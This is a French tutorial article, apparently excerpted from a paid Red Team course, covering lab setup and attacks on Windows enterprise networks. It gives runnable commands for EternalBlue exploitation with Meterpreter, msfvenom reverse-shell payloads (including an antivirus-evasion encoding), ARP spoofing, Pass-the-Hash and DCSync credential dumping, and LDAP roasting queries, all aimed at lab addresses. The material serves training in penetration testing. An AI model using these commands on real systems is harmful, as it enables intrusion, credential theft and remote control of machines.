Network Security Red Team expliqué simplement (avec schémas et vrai code)

Network Security Red Team : l'essentiel en un article — vrai code, schémas et étapes concrètes, extraits d'un cours de 39 leçons.

Network Security Red Team expliqué simplement (avec schémas et vrai code)

Un guide qui va droit au but : Network Security Red Team décortiqué avec des schémas, des exemples concrets et des commandes testées. Tout vient d'un cours structuré de 11 chapitres — en voici le meilleur.

tl;dr
  • Preparer son laboratoire Red Team
  • Fondamentaux securite reseau
  • Reconnaissance et enumeration reseau
  • Exploitation et acces initial
  • Mouvement lateral et pivoting
~$ cat ./parcours.md # Network Security Red Team — 10 chapitres
01
Préparer son laboratoire Red Team
→ Présentation du cours et éthique Red Team→ Installer Kali Linux et l’infrastructure de labo virtuel+ 1 autres leçons
02
Fondamentaux sécurité réseau
→ Modèle OSI et TCP/IP du point de vue pentester→ Protocoles critiques pour le Red Team+ 1 autres leçons
03
Reconnaissance et énumération réseau
→ OSINT et reconnaissance passive→ Nmap scanning avancé (NSE, timing, evasion)+ 2 autres leçons
04
Exploitation et accès initial
→ Metasploit Framework — modules d’exploits réseau→ Metasploit Framework — modules d’exploits réseau+ 2 autres leçons
05
Mouvement latéral et pivoting
→ Pivoting réseau — SSH, Chisel, Ligolo-ng→ Pass-the-Hash, Pass-the-Ticket et Over-Pass-the-Hash+ 2 autres leçons
06
Escalade de privilèges
→ Escalade de privilèges Windows — UAC bypass, token impersonation, services→ PrivEsc Linux — SUID, sudo, capabilities, kernel+ 1 autres leçons
07
Persistance et backdoors réseau
→ Persistance Windows — services, registre, tasks, WMI→ Persistance Linux — SSH keys, cron, systemd, eBPF+ 1 autres leçons
08
Command and Control C2
→ Architecture C2 — Sliver, Havoc et frameworks modernes→ Beaconing, sleep, jitter et malleable profiles+ 2 autres leçons
🏁
Projet final (+ 2 chapitres en chemin)
→ Tu repars avec un projet concret et démontrable

Installer Kali Linux et l’infrastructure de labo virtuel

NOTE🎯 Objectifs pédagogiques
À la fin de cette leçon, vous aurez : installé un hyperviseur (VirtualBox ou VMware), déployé Kali Linux dans une VM correctement isolée, configuré un réseau host-only pour le labo, et vérifié le bon fonctionnement des outils Red Team de base.

1. Prérequis matériel

💾 Minimum viable

⚡ Confortable

🏆 Idéal

WARNING⚠️ Vérifier la virtualisation
Sous Windows : systeminfo | findstr /i "Hyper-V" doit montrer « Yes » pour Virtualization Enabled in Firmware. Sinon, activer VT-x/AMD-V dans le BIOS/UEFI.

2. Choisir son hyperviseur

HyperviseurPrixOS hôteAvantagesInconvénients
VirtualBox 7.xGratuit (GPL)Win, macOS, LinuxOpen-source, snapshots illimités, GOAD-compatiblePerformances moyennes sur Windows 11
VMware Workstation ProGratuit (depuis 2024)Win, LinuxTrès rapide, NAT performantPlus complexe à scripter
VMware Fusion ProGratuit (macOS)macOS (Intel + Apple Silicon)Support ARM64 natif (M1/M2/M3)Limitations sur Apple Silicon (pas de Win x86)
Hyper-VInclus Win ProWindows 10/11 ProPerformances nativesSnapshots limités, conflit avec VBox
Proxmox VEGratuitBare metalProduction-grade, console webNécessite un serveur dédié
TIP💡 Recommandation du cours
VirtualBox pour la simplicité et la portabilité (Mac/Win/Linux), ou VMware Workstation Pro pour les performances. GOAD supporte les deux nativement via Ansible.

3. Installation de VirtualBox

Sous Windows

bash
# Télécharger depuis https://www.virtualbox.org/wiki/Downloads
# Version 7.0.x (stable) ou 7.1.x

# Installation silencieuse via winget
winget install -e --id Oracle.VirtualBox

# Vérifier l'installation
VBoxManage --version
# Doit afficher : 7.0.x ou 7.1.x

# Installer l'Extension Pack (USB 3.0, RDP, disk encryption)
# Télécharger Oracle_VM_VirtualBox_Extension_Pack-7.x.vbox-extpack
VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-*.vbox-extpack

Sous macOS (Intel)

bash
# Via Homebrew
brew install --cask virtualbox
brew install --cask virtualbox-extension-pack

# Approuver le kext dans Préférences système > Sécurité
# (nécessite redémarrage)

Sous Linux (Ubuntu / Debian)

bash
# Ajouter le dépôt Oracle
wget -O- https://www.virtualbox.org/download/oracle_vbox_2016.asc | \
    sudo gpg --dearmor -o /usr/share/keyrings/oracle-virtualbox-2016.gpg

echo "deb [arch=amd64 signed-by=/usr/share/keyrings/oracle-virtualbox-2016.gpg] \
    https://download.virtualbox.org/virtualbox/debian $(lsb_release -cs) contrib" | \
    sudo tee /etc/apt/sources.list.d/virtualbox.list

sudo apt update
sudo apt install -y virtualbox-7.0

# Vérifier
VBoxManage --version

4. Télécharger Kali Linux

Kali Linux est la distribution Debian-based dédiée à la sécurité offensive. Elle inclut nativement plus de 600 outils.

bash
# Page officielle : https://www.kali.org/get-kali/

# Option 1 : Pre-built VirtualBox VM (RECOMMANDÉ)
#   Fichier : kali-linux-2026.X-virtualbox-amd64.7z
#   Taille  : ~3 Go
#   Avantage: VBox Guest Additions déjà installés

# Option 2 : ISO installer
#   Fichier : kali-linux-2026.X-installer-amd64.iso
#   Taille  : ~4 Go
#   Avantage: contrôle total sur l'install

# Option 3 : WSL (Windows Subsystem for Linux)
#   Avantage: intégration Windows, léger
#   Inconvénient: pas de Metasploit DB persistante facile

# Vérification de l'intégrité (TOUJOURS !)
sha256sum kali-linux-2026.*-virtualbox-amd64.7z
# Comparer avec la valeur publiée sur kali.org
WARNING⚠️ Toujours vérifier le SHA256
Des miroirs malveillants ont déjà distribué des images Kali trojanisées. Toujours vérifier l’empreinte SHA256 contre celle publiée sur le site officiel.

5. Importer la VM Kali pré-construite

bash
# 1. Décompresser l'archive
7z x kali-linux-2026.X-virtualbox-amd64.7z
# Crash 7zip ? Installer : sudo apt install p7zip-full

# 2. Importer dans VirtualBox (option A : GUI)
#    File > Import Appliance > sélectionner le .vbox

# 3. Importer en CLI (option B : script)
VBoxManage import kali-linux-2026.X-virtualbox-amd64/kali-linux-2026.X-virtualbox-amd64.vbox \
  --vsys 0 --vmname "Kali-Red-Team" --cpus 4 --memory 6144

# 4. Lister les VMs
VBoxManage list vms
# Doit afficher : "Kali-Red-Team" {uuid}

Réglages recommandés avant le premier boot

bash
VM="Kali-Red-Team"

# Allouer 4 CPU et 6 Go RAM
VBoxManage modifyvm "$VM" --cpus 4 --memory 6144

# Activer le clipboard partagé bidirectionnel
VBoxManage modifyvm "$VM" --clipboard-mode bidirectional --draganddrop bidirectional

# Activer l'accélération vidéo
VBoxManage modifyvm "$VM" --vram 128 --graphicscontroller vmsvga --accelerate3d on

# Désactiver l'USB 1.0, activer USB 3.0
VBoxManage modifyvm "$VM" --usb on --usbehci on --usbxhci on

# Générer une adresse MAC fixe (utile pour les snapshots réseau)
VBoxManage modifyvm "$VM" --macaddress1 080027AA1010

Metasploit Framework — modules d’exploits réseau

NOTE🎯 Objectifs pédagogiques
À la fin de cette leçon, vous saurez naviguer dans Metasploit Framework (msfconsole), sélectionner les bons modules d’exploit réseau, choisir un payload adapté, lancer un handler, et obtenir une session Meterpreter sur une cible vulnérable de votre labo.

1. Pourquoi Metasploit ?

Metasploit Framework (MSF) est le framework d’exploitation le plus utilisé au monde. Il regroupe plus de 2 300 exploits, 1 500 payloads, 700 modules auxiliaires et 600 post-exploitations.

✅ Forces de Metasploit

⚠️ Limites à connaître

TIP💡 Quand utiliser MSF ?
Excellent pour : le pentest pédagogique, les CVE réseau classiques (SMB, RPC, RCE web), le pivoting de base. Moins adapté pour : les ops Red Team furtives modernes (préférer Sliver, Mythic, Havoc).

2. Structure de Metasploit

output
/usr/share/metasploit-framework/
├── modules/
│   ├── exploits/        # 2300+ exploits par OS / service
│   ├── payloads/        # 1500+ payloads
│   ├── auxiliary/       # Scanners, brute force, sniffers
│   ├── post/            # Modules post-exploitation
│   ├── encoders/        # Obfuscation payload (peu efficace AV)
│   ├── nops/            # NOP sleds
│   └── evasion/         # Modules anti-AV
└── data/                # Wordlists, templates

Catégories de modules

TypeDescriptionExemple
exploitCode qui exploite une vulnérabilitéexploit/windows/smb/ms17_010_eternalblue
auxiliaryScanners, fuzzers, brute force, DoSauxiliary/scanner/smb/smb_login
payloadCode envoyé après l’exploit (shell, meterpreter)windows/x64/meterpreter/reverse_https
postActions après session ouvertepost/windows/gather/hashdump
encoderObfuscation du payloadx86/shikata_ga_nai
evasionBypass AV/Defenderwindows/windows_defender_exe

3. Premiers pas dans msfconsole

bash
# 1. Démarrer la base PostgreSQL (au boot)
sudo systemctl start postgresql
sudo msfdb init      # une seule fois

# 2. Lancer msfconsole avec base activée
msfconsole -q
msf6 > db_status
# [*] Connected to msf. Connection type: postgresql.

# 3. Créer un workspace par mission (CRUCIAL)
msf6 > workspace -a mission_lab
msf6 > workspace
# * mission_lab     <- l’étoile = workspace actif

# 4. Importer un scan Nmap
msf6 > db_import /tmp/enriched.xml
msf6 > hosts
msf6 > services -p 445

# 5. Recherche d’un module
msf6 > search type:exploit eternalblue
msf6 > search name:bluekeep platform:windows
msf6 > search cve:2017-0144

# 6. Aide complète
msf6 > help
msf6 > info exploit/windows/smb/ms17_010_eternalblue

4. Anatomie d’un exploit Metasploit

output
# Séquence standard pour LANCER UN EXPLOIT
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > show options
msf6 exploit(...) > show targets
msf6 exploit(...) > show payloads

# Configurer les options OBLIGATOIRES (Required: yes)
msf6 exploit(...) > set RHOSTS 192.168.56.20
msf6 exploit(...) > set RPORT 445

# Choisir un payload adapté
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(...) > set LHOST 192.168.56.10    # votre Kali
msf6 exploit(...) > set LPORT 8443

# Vérifier les options
msf6 exploit(...) > show options

# (Optionnel) vérifier que la cible est vulnérable
msf6 exploit(...) > check
# [+] 192.168.56.20:445 - The target is vulnerable.

# Lancer !
msf6 exploit(...) > run
# [*] Started HTTPS reverse handler on https://192.168.56.10:8443
# [*] Sending stage (203846 bytes) to 192.168.56.20
# [*] Meterpreter session 1 opened ...
meterpreter >

5. Choisir le bon payload

Conventions de nommage

output
windows/x64/meterpreter/reverse_https
^^^^^^^^^^^  ^^^^^^^^^^^^  ^^^^^^^^^^^^^
| OS+arch    | Type        | Transport

windows  : Windows
x64      : architecture 64 bits
meterpreter : payload avancé (vs simple «shell»)
reverse_https : connexion sortante chiffrée vers attaquant

Transports principaux

TransportDirectionFurtivitéQuand l’utiliser
reverse_tcpCible → Attaquant (port custom)Faible (trafic suspect)Labo, port sortant ouvert
reverse_httpsCible → Attaquant (443 chiffré)Bonne (TLS legitime)Réseau d’entreprise standard
reverse_httpCible → Attaquant (80)Moyenne (HTTP en clair)Si HTTPS bloqué
bind_tcpAttaquant → Cible (port custom)Faible (cible écoute)NAT inverse, cible direct exp
reverse_dnsTunnel via DNSTrès bonne (rare)Réseau ultra-segmenté
reverse_winhttpsHTTPS via WinHTTP (cert pinning)ExcellenteBypass proxy enterprise
TIP💡 Règle de pouce
En labo : reverse_tcp sur 4444 (rapide).
En mission interne : reverse_https sur 443 (passe les firewalls/proxies).
Si proxy d’entreprise : reverse_winhttps qui respecte les paramètres système.

6. Multi/handler — recevoir des sessions indépendamment

Le module multi/handler est un « receveur générique » qui écoute pour des payloads générés séparément (avec msfvenom).

output
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 192.168.56.10
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > run -j        # -j = job en arrière-plan

# Voir les jobs actifs
msf6 > jobs

# Stopper un job
msf6 > jobs -k 1

Générer un payload avec msfvenom

bash
# EXE Windows
msfvenom -p windows/x64/meterpreter/reverse_https \
         LHOST=192.168.56.10 LPORT=443 \
         -f exe -o /tmp/payload.exe

# ELF Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp \
         LHOST=192.168.56.10 LPORT=4444 \
         -f elf -o /tmp/payload

# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_https \
         LHOST=192.168.56.10 LPORT=443 \
         -f psh-cmd

# DLL injection
msfvenom -p windows/x64/meterpreter/reverse_tcp \
         LHOST=192.168.56.10 LPORT=4444 \
         -f dll -o /tmp/payload.dll

# Shellcode brut (pour custom loader)
msfvenom -p windows/x64/meterpreter/reverse_https \
         LHOST=192.168.56.10 LPORT=443 \
         -f raw -o /tmp/shellcode.bin

# Encodé (Shikata Ga Nai pour bypass simple AV)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
         LHOST=192.168.56.10 LPORT=4444 \
         -e x64/xor_dynamic -i 10 \
         -f exe -o /tmp/encoded.exe

Protocoles critiques pour le Red Team

NOTE🎯 Objectifs pédagogiques
À la fin de cette leçon, vous connaîtrez le fonctionnement et les faiblesses exploitables des 7 protocoles fondamentaux d’un réseau d’entreprise Windows : ARP, DNS, SMB, LDAP, Kerberos, RDP et WinRM. Vous saurez les identifier dans Wireshark et reconnaître quelles attaques chacun permet.

1. ARP — le premier maillon faible

ARP (Address Resolution Protocol) traduit IP en MAC sur un LAN. Sans authentification, c’est la cible numéro 1 sur un réseau interne.

bash
# Voir le cache ARP local
ip neigh show
# ou
arp -an

# Empoisonner le cache d'une cible (en labo)
bettercap -iface eth1
> set arp.spoof.targets 192.168.56.20
> set arp.spoof.fullduplex true
> arp.spoof on
> net.sniff on

# Voir le trafic intercepté dans Wireshark
sudo wireshark -i eth1

Faiblesses ARP exploitables

TIP💡 Mitigation
DAI (Dynamic ARP Inspection) sur switches Cisco/HP, 802.1X, ARP statique pour la passerelle critique, ou simplement chiffrement bout-en-bout (TLS, VPN) qui rend l’interception inoffensive.

2. DNS — l’annuaire qui parle trop

Le DNS est utilisé non seulement pour la résolution de noms, mais il révèle aussi la topologie Active Directory via les enregistrements SRV.

bash
# Trouver le DC d'un domaine via DNS
dig _ldap._tcp.dc._msdcs.lab.local SRV
dig _kerberos._tcp.lab.local SRV
dig _gc._tcp.lab.local SRV    # Global Catalog

# Trouver toutes les machines d'un domaine (Zone Transfer si autorisé)
dig @192.168.56.10 lab.local AXFR

# Reverse DNS sur un /24
for ip in 192.168.56.{1..254}; do
    host $ip 2>/dev/null | grep -v NXDOMAIN
done

# DNS dynamique : enregistrer un faux nom (si autorisé en labo)
nsupdate -k /tmp/key.conf <<EOF
server 192.168.56.10
update add evil.lab.local 60 A 192.168.56.99
send
EOF

Attaques DNS Red Team

AttaqueDescriptionOutils
Zone transfer (AXFR)Si autorisé, dump complet de la zonedig, dnsenum
DNS cache poisoningEmpoisonner la cache d’un résolveurdnspoof, mitm6
DNS subdomain enumDécouvrir les sous-domaines (recon externe)amass, subfinder, sublist3r
DNS tunneling C2Exfiltrer/contrôler via requêtes DNSiodine, dnscat2
NS records hijackPrendre le contrôle d’un NS abandonnénsec3walker

3. SMB — le couteau suisse du Red Team

SMB (Server Message Block) = partage de fichiers, d’imprimantes, exécution à distance, transport pour RPC. C’est LE protocole d’attaque Windows.

bash
# Énumération : version, OS, partages, users
crackmapexec smb 192.168.56.0/24
crackmapexec smb 192.168.56.10 -u jon.snow -p 'Winter2026!' --shares
crackmapexec smb 192.168.56.10 -u '' -p '' --users   # Null session

# Lister partages avec smbclient
smbclient -L //192.168.56.10/ -U jon.snow%'Winter2026!'

# Se connecter à un partage
smbclient //192.168.56.10/Public -U jon.snow%'Winter2026!'
smb: \> ls
smb: \> get fichier_secret.txt

# Mounter le partage
sudo mount -t cifs //192.168.56.10/Public /mnt/smb \
   -o username=jon.snow,password='Winter2026!',vers=3.0

Attaques SMB emblématiques

🏭 Pre-auth (sans creds)

🔐 Post-auth (avec creds)

bash
# Tester un hôte pour EternalBlue
nmap --script smb-vuln-ms17-010 -p 445 192.168.56.0/24

# Exploitation Metasploit (en labo seulement)
msfconsole -q
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.56.20
msf6 > run

# Lateral movement PSExec avec hash NT (Pass-the-Hash)
impacket-psexec -hashes :32ED87BDB5FDC5E9CBA88547376818D4 \
                administrator@192.168.56.10

# Dump des hashes (DCSync, nécessite droits DA)
impacket-secretsdump lab.local/administrator:'Pass!'@192.168.56.10 -just-dc

4. LDAP — l’annuaire transparent

LDAP (port 389/636) expose tout l’annuaire AD : users, groupes, GPO, OU, ACL. Une simple authentification de domaine suffit généralement à le requêter.

bash
# Recherche utilisateurs
ldapsearch -x -H ldap://192.168.56.10 \
   -D "jon.snow@lab.local" -w 'Winter2026!' \
   -b "DC=lab,DC=local" -s sub "(&(objectClass=user)(objectCategory=person))" \
   sAMAccountName description

# Recherche des comptes Kerberoastable (avec SPN)
ldapsearch -x -H ldap://192.168.56.10 \
   -D "jon.snow@lab.local" -w 'Winter2026!' \
   -b "DC=lab,DC=local" "(&(samAccountType=805306368)(servicePrincipalName=*))" \
   sAMAccountName servicePrincipalName

# Recherche des comptes AS-REP roastable
ldapsearch -x -H ldap://192.168.56.10 \
   -D "jon.snow@lab.local" -w 'Winter2026!' \
   -b "DC=lab,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"

# Recherche du schéma (toutes les classes)
ldapsearch -x -H ldap://192.168.56.10 -b "CN=Schema,CN=Configuration,DC=lab,DC=local" cn

BloodHound : LDAP en graphe

bash
# Collection complète depuis Kali
bloodhound-python -u jon.snow -p 'Winter2026!' -d lab.local \
                  -ns 192.168.56.10 -c All --zip

# Lancer Neo4j et BloodHound GUI
sudo neo4j start
bloodhound
# Drag & drop le .zip dans l'interface
# Requête : Shortest path to Domain Admins
# Requête : Find Kerberoastable Users
va-plus-loin

Cet article couvre les extraits les plus utiles — le cours complet Network Security Red Team (11 chapitres, 39 leçons, exercices corrigés et projet final) t'emmène jusqu'au bout.

./acceder-au-cours-complet cours gratuit : Maîtriser Claude Code

FAQ

Combien de temps pour apprendre Network Security Red Team ?
Avec une progression structurée (11 chapitres, 39 leçons courtes et pratiques), on atteint un niveau opérationnel en quelques semaines à raison de 30 à 60 minutes par jour. L'important est de pratiquer chaque notion immédiatement.
Faut-il des prérequis ?
Mieux vaut être à l'aise avec les fondamentaux du domaine : ce contenu va en profondeur, avec des cas réels.
Par où commencer concrètement ?
Reproduis les commandes de cet article, puis suis le cours complet Network Security Red Team : il enchaîne les 39 leçons dans l'ordre, avec exercices et projet final.

📬 Tu veux recevoir ce type de guide chaque semaine ? Abonne-toi gratuitement — code réel, zéro blabla.